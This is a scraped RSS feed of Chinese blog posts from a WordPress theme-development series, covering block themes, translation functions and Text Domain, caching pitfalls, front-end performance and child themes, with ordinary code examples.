最本质的区别在最后一行:区块主题的页面结构,用户可以自己在后台改。 不用碰代码。

theme.json 管什么

区块主题必须有一个 theme.json,它是”设计系统的配置文件”:

{
  "version": 3,
  "settings": {
    "color": {
      "palette": [
        { "slug": "primary", "color": "#2b6cb0", "name": "主色" }
      ]
    },
    "typography": {
      "fontSizes": [
        { "slug": "small",  "size": "14px", "name": "小" },
        { "slug": "normal", "size": "16px", "name": "正文" },
        { "slug": "large",  "size": "22px", "name": "大" }
      ]
    },
    "layout": { "contentSize": "760px" }
  }
}

三个作用:

  1. 定义调色板和字号——后台编辑器里就出现这些选项,用户只能选你给的颜色,不会乱配;
  2. 生成 CSS 变量——WordPress 会自动产出 --wp--preset--color--primary 这样的变量,你的 CSS 直接用;
  3. 控制布局宽度——contentSize 就是正文最大宽度,不用再在 CSS 里写 max-width。

对主题作者来说,theme.json 最大的价值是约束:它让”用户能改的东西”和”不能改的东西”有了明确边界。

四种目录,各放什么

my-theme/
├── style.css            ← 必须有(身份证)
├── theme.json           ← 设计系统
├── templates/           ← 页面级模板
│   ├── index.html
│   ├── single.html
│   ├── page.html
│   └── archive.html
├── parts/               ← 可复用的区块片段
│   ├── header.html
│   └── footer.html
└── patterns/            ← 预设的区块组合(用户可插入)

templates/ 对应经典主题的 single.php、page.php;parts/ 对应 header.php、footer.php;patterns/ 是新增的东西,经典主题里没有对应物。

模板层级的规则还是一样的:WordPress 先找 single-{post_type}.html,再找 single.html,再找 index.html。卷一讲的那套层级逻辑,在这里依然成立,只是后缀从 .php 变成了 .html。

混合主题:两者可以共存

这是很多人不知道的:一个主题可以同时有 index.php 和 templates/index.html。

WordPress 的规则是:如果 templates/ 里有对应模板,就用块模板;没有,就退回 PHP 模板。

所以你可以:

  • 文章页继续用 single.php(因为有复杂的自定义逻辑);
  • 首页改成 templates/front-page.html(让用户在后台调);

对老站来说,这是最现实的迁移路径——不是一次性全换,而是一页一页换。

我的判断:老站别急着转

说结论:我这个站短期内不会转区块主题。 三个理由:

一、我的页面结构是”算出来的”,不是”排出来的”。

比如分类页的标题要拼上分类名,文章页的相关文章要按标签查。这些逻辑区块系统表达起来很别扭——要么写自定义块,要么还是得回到 PHP。

二、转过去之后,我原来那套 SEO 代码要重写。

我现在的 head-seo.php 是挂在 wp_head 上手动输出的。区块主题有自己的 head 生成机制,硬塞进去容易冲突。

三、收益不明显。

区块主题最大的好处是”用户能在后台改页面”。我这个站只有我一个人维护,这个好处对我等于零。

什么情况下该用

反过来说,三种情况值得:

  1. 新建站点,而且以后要交给不懂代码的人维护。 比如给学校、给店里做的站;
  2. 页面以”排版”为主,逻辑简单。 落地页、介绍页、作品集;
  3. 想用 WordPress 的块生态。 很多新插件现在只出块,不出短代码了。

一句话:页面结构要”算”的,用经典主题;页面结构要”排”的,用区块主题。

小结

一句话记住:区块主题把”页面结构”从 PHP 搬到了 HTML 注释里,代价是复杂逻辑更难写,收益是用户能可视化编辑。老站不急,新站可以考虑。

下一篇聊安全:三个最常见的漏洞,以及主题作者该在哪一层拦。

本系列导航

]]>
http://www.caogenbj.com/block-theme.html/feed 0
多语言:__() / _e() / .po / .mo http://www.caogenbj.com/theme-i18n.html http://www.caogenbj.com/theme-i18n.html#respond Fri, 06 Nov 2026 10:54:03 +0000 http://www.caogenbj.com/?p=1863 我自己的主题,第一行注释就写错了

这次排查我自己站的时候,把 style.css 的前十几行打印出来看,发现三个问题:

[BOM]/*
Theme Name: 草根站长笔记
Theme URI: http://www.caogenbj.com
Author: "草根站长笔记"
Author URI: http:/www.caogenbj.com
Description: 草根站长笔记主要是一波自己运营用的主题...
Version: 1.2
*/

三个问题:

  1. 开头有一个看不见的 BOM(字节 EF BB BF)。它是 UTF-8 文件的”签名”,但 PHP 和浏览器不认它,会当成内容输出;
  2. Author URI 少了一个斜杠——http:/ 不是 http://,这个链接点不开;
  3. 没有 Text Domain。

前两个是格式问题,第三个直接关系到这一篇的主题:没有 Text Domain,这个主题永远无法被翻译。

Text Domain 是什么

它是一串”小名”,用来标记”这句话属于哪个主题/插件”。同一台 WordPress 上跑着主题、插件、核心三部分,每部分都有自己的文字,翻译文件要能对上号,就靠这个小名区分。

规则很硬:style.css 里写的 Text Domain,必须和代码里 __() 用的那个字符串一模一样。 不一致,翻译就加载不上,页面上永远是原始英文(或原始中文)。

/*
Theme Name:  Caogenbj
Text Domain: caogenbj
*/

习惯上就用主题目录名,全小写,不加空格。

四个函数,按用途分

WordPress 有四组翻译函数,名字很像,用途不同:

函数 作用 示例
__() 翻译,返回字符串 $s = __( 'Read more', 'caogenbj' );
_e() 翻译,直接输出 _e( 'Read more', 'caogenbj' );
esc_html__() 翻译 + 转义,返回 echo esc_html__( 'Read more', 'caogenbj' );
_n() 单复数 见下

__() 和 _e() 的区别只有一条:一个返回,一个输出。

用在 echo 里面就必须用 __(),因为 _e() 已经输出了,你再 echo 一次,页面上就会多一个空白(它的返回值是 null)。

// 错:什么都没输出,还多一个空格
echo _e( 'Read more', 'caogenbj' );

// 对
echo __( 'Read more', 'caogenbj' );

// 对(顺手转义,更安全)
echo esc_html__( 'Read more', 'caogenbj' );

这个错我在别人的主题里见过不止一次,现象是”文字出来了,但后面总多一个空格”,很难查。

单复数用 _n():

printf(
    _n( '%s comment', '%s comments', $count, 'caogenbj' ),
    number_format_i18n( $count )
);

中文没有单复数变化,所以这个函数对中文主题意义不大——但如果你的主题要给别人用,就得写。

一个更细的函数:_x()

同一个英文词,在不同语境下中文翻译不一样。比如 Post,作为名词是”文章”,作为动词是”发布”。

_x( 'Post', 'noun', 'caogenbj' );
_x( 'Post', 'verb', 'caogenbj' );

第二个参数是”上下文”,给翻译者看的提示,不参与输出。主题里用得不多,但写公开主题时该用。

翻译文件是怎么来的

流程是这样的:

  1. 代码里所有文字都用 __() 包起来;
  2. 用工具把这些字符串扫出来,生成一个 .pot 模板文件;
  3. 翻译者拿 .pot 翻成 .po(可读文本);
  4. 编译成 .mo(二进制,WordPress 实际读这个);
  5. 放进 wp-content/languages/themes/ 或者主题的 languages/ 目录。

工具叫 Poedit,图形界面,选中 .pot 就能翻,保存时自动生成 .mo。

然后在 functions.php 里告诉 WordPress 去哪找:

add_action( 'after_setup_theme', function () {
    load_theme_textdomain( 'caogenbj', get_template_directory() . '/languages' );
} );

路径要用 get_template_directory()(父主题)。如果你在用子主题并且翻译文件放在子主题里,就换成 get_stylesheet_directory()。

中文主题,做这个有意义吗

说实话:如果这个主题只有你自己用,而且界面本来就是中文,那没什么意义。

但我还是建议你做,原因不是”翻译”,而是另外两件事:

一、把所有文案收拢到一处。

我原来的主题里,”阅读全文”这四个字散落在 index.php、category.php、search.php、tag.php 四个文件里。哪天想改成”查看详情”,得改四处,漏一处就不一致。

包成 __() 之后,虽然还是四处调用,但至少它们是”同一个字符串”——将来真要做统一管理,只需处理一处。

二、避免踩到”文本域缺失”的坑。

有些插件(比如多语言插件、某些缓存插件)会检查主题的 Text Domain。缺失时可能报警告,甚至影响功能。补一行注释就能避免,成本极低。

顺便说 BOM,它比你想的更有害

BOM 是文件开头那三个字节。它对 HTML 页面影响不大(浏览器会忽略),但对两类东西是致命的:

  • XML:<?xml 必须是文件第一个字节,前面多三个字节就不合法。站点地图就是这么坏的;
  • PHP 的 header():任何输出(包括 BOM)都会导致”headers already sent”报错。

所以:所有 PHP 文件、所有 CSS 文件,都不要带 BOM。 用编辑器的”以 UTF-8 无 BOM 保存”。

怎么检查?Linux 下一条命令:

head -c 3 style.css | xxd

如果输出是 efbb bf,就是有 BOM。

小结

一句话记住:Text Domain 是三处必须一致的字符串(style.css、函数调用、load_theme_textdomain);__() 返回、_e() 输出,别在 echo 里用 _e()。

下一篇换个范式:区块主题(FSE),WordPress 这几年的最大变化。

本系列导航

]]>
http://www.caogenbj.com/theme-i18n.html/feed 0
缓存与主题:对象缓存、页面缓存 http://www.caogenbj.com/theme-caching.html http://www.caogenbj.com/theme-caching.html#respond Fri, 06 Nov 2026 10:53:56 +0000 http://www.caogenbj.com/?p=1861 改了代码,页面没变

这个场景我遇到过不止一次:改完 functions.php,刷新页面,还是老样子。再刷,还是老样子。开始怀疑自己是不是改错了文件、是不是没保存、是不是改的那个是备份。

最后发现是缓存。改的代码是对的,只是没被执行。

这件事的要害不是”记得清缓存”,而是要理解:缓存把”每次请求都跑一遍 PHP”变成了”直接吐一份 HTML”。 你的模板代码压根没运行。

三层缓存,各管一段

先分清层次,不然永远在瞎清。

层 存在哪 管什么 怎么清
浏览器缓存 访客的电脑/手机 CSS、JS、图片 访客自己 Ctrl+F5
页面缓存 服务器磁盘 整页 HTML 插件里点”清空所有缓存”
对象缓存 内存(Redis/Memcached) 数据库查询结果 重启服务或清 key

我改完代码看不到效果,99% 是页面缓存。因为我改的是 PHP,而页面缓存里存的是一份已经渲染好的 HTML——它不会因为你改了 PHP 就自动失效。

页面缓存和主题的冲突点

这里有个概念必须先建立:

页面缓存生效时,你的 header.php、single.php、functions.php 一行都不会执行。

不是”执行了但没效果”,是根本不执行。服务器直接找到那份 HTML 文件,发出去,完事。

所以,凡是”每次请求都该不一样”的逻辑,放在模板里就是错的。举几个例子:

  • is_user_logged_in() 判断显示”你好,某某”——缓存后,未登录的访客会看到别人的名字;
  • 按访问时间显示”现在是下午好”——所有人看到的都是生成缓存那一刻的问候;
  • 随机推荐几篇文章——永远是同一批;
  • 购物车数量、未读消息数——全是死的。

这些不是”缓存插件的 bug”,是主题的写法跟缓存机制冲突了。

正确的做法:告诉缓存”这页别存”

WordPress 有个标准常量,缓存插件都认:

define( 'DONOTCACHEPAGE', true );

在需要动态输出的页面里定义它,页面缓存插件就会跳过这一页。

典型用法是挂在 template_redirect 上(这时已经知道是哪个页面了,但还没开始输出):

add_action( 'template_redirect', function () {
    if ( is_user_logged_in() ) {
        define( 'DONOTCACHEPAGE', true );
    }
} );

这句话的意思是:登录用户看到的页面,永远不缓存。 访客看到的照常缓存,两边都合理。

另一条路是把动态部分挪走:页面主体照常缓存,那几块”会变”的内容用 AJAX 单独请求。这是大型站点的标准做法,但复杂度高一个量级,小站不值得。

我踩过的那个坑:sitemap 被缓存成 HTML

这个案例值得单独讲,因为它暴露了”缓存插件不认识非 HTML 内容”这个问题。

WordPress 自带一个站点地图 /wp-sitemap.xml。它由 PHP 动态生成,正常情况下响应头是:

Content-Type: application/xml

但我这边实测是:

Content-Type: text/html

结果就是:浏览器打开那个地址,看到的是一片空白。因为浏览器拿到”XML 内容 + HTML 身份”,按 HTML 去解析,把 <?xml 当成看不懂的注释直接跳过,后面整段全忽略。

我一开始以为是文件坏了,反复清缓存、反复刷,没用。后来加了个随机参数绕开缓存,立刻正常:

https://www.caogenbj.com/wp-sitemap.xml?abc=123

这一个测试就把问题定性了:不是内容错,是缓存层把响应头写死了。

为什么?因为页面缓存插件的设计目标是”缓存 HTML 页面”。它抓到一份响应,按 HTML 存下来,再吐出去的时候也按 HTML 标注。它不管你这个 URL 原本是什么类型。

解法有两个:

一、让插件别碰这个地址。在缓存插件的”永不缓存以下页面”里填:

wp-sitemap

二、在主题里定义常量。如果你能改到主题,更彻底:

if ( isset( $_SERVER['REQUEST_URI'] )
     && strpos( $_SERVER['REQUEST_URI'], 'wp-sitemap' ) !== false ) {
    define( 'DONOTCACHEPAGE', true );
}

这段要放在 functions.php 最顶部,不要包进 add_action 里——因为缓存插件判断”要不要缓存”的时间点很早,你得赶在它前面。

对象缓存:主题基本不用管,但要知道它在

对象缓存缓存的是”数据库查询结果”。比如 get_option() 查一次,结果存内存,下次直接从内存拿。

对主题作者来说,能用上的场景不多。但有一个原则要遵守:

别在模板里写”每次都重新查库”的代码。

比如我在卷一讲过的:为了在一个页面上取两次同样的数据,用两次 WP_Query。第二次完全可以复用第一次的结果。对象缓存能救一部分,但它不是免费的。

清缓存的正确姿势

第一种情况:改的是 PHP。清页面缓存就行,插件后台那个”清空所有缓存”的大按钮。

第二种情况:改的是 CSS/JS。清完页面缓存还不够,因为访客浏览器里那份旧的还在。这时候要在文件地址后面带版本号,WordPress 的 wp_enqueue_style 第四个参数就是干这个的:

wp_enqueue_style( 'my-style', get_stylesheet_uri(), array(), '1.0.3' );

改一次样式,把 1.0.3 改成 1.0.4,浏览器就会当成新文件重新下载。这比让访客按 Ctrl+F5 靠谱得多,因为他不会按。

第三种情况:改完还是不对。加个随机参数试试(?nc=123)。能正常就说明是缓存,不能正常才是代码问题。

这个”加参数”的动作,是我排查缓存问题的第一招,几乎每次都灵。

小结

一句话记住:页面缓存生效时,你的 PHP 一行都不跑。所以”每次都该变”的东西不能写在模板里;改完看不到效果,先加参数验证是不是缓存。

下一篇聊多语言——不是为了翻译,是为了把散落各处的文字收拢到一处。

本系列导航

]]>
http://www.caogenbj.com/theme-caching.html/feed 0
主题性能:defer、合并、懒加载 http://www.caogenbj.com/theme-performance.html http://www.caogenbj.com/theme-performance.html#respond Fri, 06 Nov 2026 10:53:50 +0000 http://www.caogenbj.com/?p=1859 先把”性能”拆成三个问题

一说优化性能,很多人第一反应是”上缓存插件””换 CDN””压缩图片”。这些都对,但顺序容易搞错。

我把主题能管的部分拆成三个问题,按影响从大到小排:

  1. 阻塞:浏览器为了等你一个文件,整页都不渲染;
  2. 体积:下载的东西太大;
  3. 请求数:要来回太多次。

这三个里,第一个影响最大——因为它是”卡住”,不是”慢一点”。

第一件事:把阻塞的脚本挪开

我原来的 header.php 是这样的:

<head>
  <link rel="stylesheet" href=".../bootstrap.min.css">
  <link rel="stylesheet" href=".../style.css">
  <script src=".../jquery.min.js"></script>
  <script src=".../bootstrap.min.js"></script>
</head>

那两个 <script> 干了一件坏事:浏览器读到它们,会停下来下载、停下来执行,然后才继续往下解析 HTML。

你在手机上打开这个页面,看到的顺序是:白屏 → 下载 jQuery(几十 KB)→ 执行 → 下载 bootstrap → 执行 → 才开始画页面。

用户在前一秒多里看到的是白的。

改法很简单,加一个属性:

<script defer src=".../jquery.min.js"></script>
<script defer src=".../bootstrap.min.js"></script>

defer 的意思是:”你可以先下载,但别急着执行,等 HTML 解析完了再按顺序执行。”

这一改,浏览器就能一边下载脚本、一边继续解析页面,首屏不再等它。

defer 和 async,别用错

两个属性长得像,作用完全不同:

属性 下载 执行时机 适合什么
不加 立即,阻塞解析 下载完立刻 几乎没有
async 并行,不阻塞 下载完就执行,顺序不定 完全独立的统计、广告脚本
defer 并行,不阻塞 HTML 解析完,按书写顺序 有依赖关系的库(jQuery → 插件)

关键区别:async 不保证顺序,defer 保证顺序。

我的 bootstrap 依赖 jQuery,如果两个都用 async,有可能 bootstrap 先下载完先执行——那时 $ 还不存在,控制台报错「$ is not defined」,整个交互全废。

所以:有依赖的,一律用 defer。

但 defer 有一个副作用,必须验证

这个问题我踩过。

脚本改成 defer 之后,它执行的时间点变成了”HTML 解析完之后”。如果页面里有一段内联脚本,在 HTML 中间就调用了 $(...),那它执行的时候 jQuery 还没到,直接报错。

我改完之后干的第一件事,是打开手机点了一下汉堡菜单。

为什么要专门测这个?因为那个菜单的展开靠 bootstrap 的 JS。如果脚本没加载成功,菜单按钮点了没反应——而桌面端看不出问题(桌面端菜单是横向展开的,不依赖 JS)。

测的时候一定要用手机,或者把浏览器窗口拉窄。

如果真出问题,两个解法:

  • 把依赖它的那段内联脚本,也改成 defer 或者挪到页面底部;
  • 退一步,只给 jQuery 加 defer,把 bootstrap 放回原位。

第二件事:图片,别用 2560px 的图显示 560px

我另一个站上有个真实的例子:一张封面图,原图 2560×2560,334 KB。而它在页面上显示的宽度是 560px。

多下载了 4 倍多的像素,用户一点都看不出来。

WordPress 上传图片时会自动生成多个尺寸(thumbnail / medium / large),主题要做的是用对尺寸,而不是永远用原图。

三个具体做法:

一、用 the_post_thumbnail() 而不是自己拼 <img>

<?php the_post_thumbnail( 'medium', array( 'loading' => 'lazy' ) ); ?>

传 'medium',WordPress 就会自动输出 srcset(一组不同宽度的候选图),浏览器按自己的屏幕宽度挑一个。这一行代码,比手动压缩一百张图都管用。

二、首屏之外的图加 loading="lazy"

<img src="..." alt="..." loading="lazy">

浏览器会等图片快进入视口了才开始下载。文章页正文里的图,全都该加。

三、首屏那张图别加 lazy

这条容易被忽略:lazy 是”推迟加载”,而首屏图是”马上就要看”的。给它加 lazy,等于让浏览器先犹豫一下再下载,反而更慢。

首屏图要么不加,要么用 fetchpriority="high" 提示浏览器优先下载。

第三件事:请求数,能少一个是一个

每多一个文件,就多一次”请求—等待—响应”的往返。移动网络下,一次往返可能就是 100 毫秒。

主题层面能做的:

  • 合并 CSS:把小文件的样式并进 style.css;
  • 别加载用不上的库:我原来 head 里加载了整套 bootstrap,实际只用了栅格和几个组件;
  • 该删的删:WordPress 默认会往 head 里塞一些东西(emoji 脚本、区块库样式),用不上的直接 remove_action 掉。

最后这条我实测过:清理前首页 gzip 后 9930 字节,清理后 7953 字节,降了 20%。而且清理掉的东西(区块库 18.5 KB)里,我一个字都没用过。

还有一个几乎零成本的东西:dns-prefetch

<link rel="dns-prefetch" href="//hm.baidu.com">

这行告诉浏览器:”我等下可能会连这个域名,你可以先把域名解析做了。”

它只省几十毫秒,但成本是一行代码。凡是页面里会加载的第三方域名,都值得加一行。

别做的事

三个常见但没好处的”优化”:

  1. 把 CSS 写成内联。省了一次请求,但每个页面都重复一遍,还破坏了缓存。除非那份 CSS 只有几百字节;
  2. 为了”加载快”把图片压到糊。手机卡套餐站的海报糊了,用户看不清资费,等于白做;
  3. 装一堆”优化插件”。每个插件自己也要加载,还可能互相打架。我自己只用了一个缓存插件。

小结

一句话记住:先解阻塞(defer),再减体积(图片尺寸),最后减请求(删无用资源)。顺序反了,效果差一半。

下一篇聊缓存——为什么你改完代码,访客看到的还是旧的。

本系列导航

]]>
http://www.caogenbj.com/theme-performance.html/feed 0
子主题:为什么不要直接改别人的主题 http://www.caogenbj.com/child-theme.html http://www.caogenbj.com/child-theme.html#respond Fri, 06 Nov 2026 10:53:44 +0000 http://www.caogenbj.com/?p=1857 一个我后悔了三年的决定

我现在这个站用的主题,最早不是我自己写的。

它来自另一个站——一个物理教学网站,主题目录叫 jiaoxueshiping。我把它复制过来,改名成 caogenbj,然后开始改。

改 header、改 footer、改 CSS、加功能、修 bug。改得很顺手,因为文件就在那儿,打开就能编辑。

三年后我才发现,这个做法有个隐形成本:我再也拿不到上游的更新了。

不是说上游一定有好东西,而是说——从我把文件复制过来那一刻起,这条线就断了。以后上游修了一个安全漏洞,我不知道;加了一个新特性,我也用不上。这个主题彻底变成了”我一个人的分支”,它所有的问题都得我自己扛。

更具体的证据:我这次排查的时候,在 index.php 里发现一处背景图地址写的是:

background: url(http://www.caogenbj.com/wp-content/themes/jiaoxueshiping/notice_bg.gif)

目录早就改名成 caogenbj 了,这个路径还在指向老名字,所以那张图一直是 404。这就是”复制后直接改”留下的化石。

如果当初用的是子主题,这类问题根本不会存在——因为父主题的文件你一个字都不用动。

子主题到底解决了什么

一句话:把”我要改的”和”别人写的”分开存放。

父主题(原来的主题)保持原样,一个字节不改。你所有修改都放在子主题目录里。WordPress 加载时,先去子主题找文件,找不到再去父主题找。

这个机制叫模板覆盖。它有两个直接好处:

  1. 父主题可以更新。更新只覆盖父主题目录,你的子主题安然无恙;
  2. 改动一目了然。打开子主题目录,看到的就是你改过的东西,不用在几万行代码里找”我到底动了哪儿”。

怎么建一个子主题

两个文件就够。

第一个是 style.css,放在 wp-content/themes/caogenbj-child/ 下:

/*
Theme Name:   Caogenbj Child
Template:     caogenbj
Version:      1.0
*/

/* 下面写你自己的样式,会覆盖父主题 */

关键就是 Template: 那一行,值必须严格等于父主题的目录名。caogenbj 是目录名,不是 Theme Name。写错了,后台会提示”父主题不存在”。

第二个是 functions.php:

<?php
// 把父主题的样式表挂进来
add_action( 'wp_enqueue_scripts', function () {
    wp_enqueue_style(
        'caogenbj-parent',
        get_template_directory_uri() . '/style.css'
    );
} );

注意这里用的是 get_template_directory_uri()——它指向父主题。这个函数名很容易记反,下面单独说。

四个必须记住的对应关系

子主题只有四个函数容易搞混,但搞混了就是白屏或者样式全丢。做成一张表:

你要拿的东西 用哪个函数 指向
子主题的目录路径 get_stylesheet_directory() 子主题
子主题的 URL get_stylesheet_directory_uri() 子主题
父主题的目录路径 get_template_directory() 父主题
父主题的 URL get_template_directory_uri() 父主题

记法:stylesheet 是你现在用的(子),template 是你继承的(父)。

为什么这么命名?因为 WordPress 早期只有”当前主题”一个概念,管它叫 stylesheet;后来有了父子关系,”当前主题”变成子主题,但函数名没改。

这里有个真实的坑:你在子主题的 functions.php 里写 get_stylesheet_directory() . '/inc/seo.php',结果这个文件放在父主题里——那就 include 不到,直接报错。反过来也一样。所以每写一次,都要问自己一句:这个文件到底在谁的目录里?

functions.php 的加载顺序

这是子主题最反直觉的一点:子主题的 functions.php 先加载,父主题的后加载。

为什么这重要?因为如果父主题里写的是:

function my_setup() { ... }
add_action( 'after_setup_theme', 'my_setup' );

你想在子主题里”覆盖”这个函数,直接定义同名函数是不行的——PHP 会报 Cannot redeclare。正确做法是先用 remove_action 摘掉,再挂自己的:

<?php
add_action( 'after_setup_theme', function () {
    remove_action( 'after_setup_theme', 'my_setup' );
    // 然后 add_action 你自己的
}, 20 );

那个 20 是为了让”摘”这个动作发生在父主题已经挂上之后。因为子主题先加载,如果你在文件顶层直接 remove_action,父主题还没执行到 add_action 那一行,摘了个空。

这个顺序问题,是子主题新手最常踩的坑,没有之一。

哪些文件能覆盖,哪些不能

能覆盖的:所有模板文件。header.php、footer.php、index.php、single.php、page.php、category.php、searchform.php、sidebar.php……你把同名文件放进子主题,WordPress 就优先用你的。

不能覆盖的:父主题的 functions.php。子主题的 functions.php 是追加执行,不是替换。父主题的函数照样全部生效。

还有一类容易忽略的:父主题用 get_template_part() 加载的片段。这些片段默认从父主题找,除非你传了 get_stylesheet_directory() 或者它内部用了 locate_template()。locate_template() 会自动先找子主题,所以父主题作者如果用对了函数,你覆盖片段就能生效;如果硬写 include,你就覆盖不了。

这就是”主题写得好不好用”的分水岭之一。

我的建议

如果你现在正在改一个别人的主题,我的建议是:

  1. 新项目,一定用子主题。成本只有两个文件,收益是”以后还能更新”;
  2. 已经在直接改的,别急着迁。把现在的改动一条条搬进子主题,工作量不小,而且容易漏。除非你打算长期维护这个站;
  3. 自己从零写的主题,不需要子主题。子主题是为”改别人的东西”设计的,自己的主题直接改就行。

我这个站就属于第二种。现在迁不迁?我暂时没迁——因为我改造的幅度已经太大了,几乎是重写,迁成子主题的意义不大。但我把这个决定记下来了:下次建站,从第一天就用子主题。

小结

一句话记住:子主题不是”更高级的写法”,是”给自己留退路”。改别人的主题,两个文件就能留。

下一篇聊性能:脚本、图片、缓存,哪些是主题该管的,哪些不该。

本系列导航

]]>
http://www.caogenbj.com/child-theme.html/feed 0